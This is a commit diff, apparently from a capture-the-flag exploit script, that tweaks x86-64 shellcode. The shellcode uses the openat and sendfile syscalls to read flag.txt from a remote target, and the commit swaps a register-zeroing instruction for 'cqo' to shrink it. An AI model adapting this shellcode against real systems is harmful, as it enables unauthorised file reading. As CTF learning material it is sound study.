learnt about the cqo instruction that sign-extends rax into rdx
This commit is contained in:
@@ -26,9 +26,9 @@ r.sendlineafter(b": ", buf)
|
|||||||
|
|
||||||
# openat + sendfile
|
# openat + sendfile
|
||||||
shellcode="""
|
shellcode="""
|
||||||
lea rsi, [rdx+38]
|
lea rsi, [rdx+37]
|
||||||
mov edi, -100
|
mov edi, -100
|
||||||
xor rdx, rdx
|
cqo
|
||||||
xor r10, r10
|
xor r10, r10
|
||||||
add ax, 257
|
add ax, 257
|
||||||
syscall
|
syscall
|
||||||
@@ -43,4 +43,4 @@ shellcode = asm(shellcode)
|
|||||||
shellcode += b"flag.txt\0"
|
shellcode += b"flag.txt\0"
|
||||||
r.sendlineafter(b": ", shellcode)
|
r.sendlineafter(b": ", shellcode)
|
||||||
|
|
||||||
r.interactive()
|
r.interactive()
|
||||||
|
|||||||
Reference in New Issue
Block a user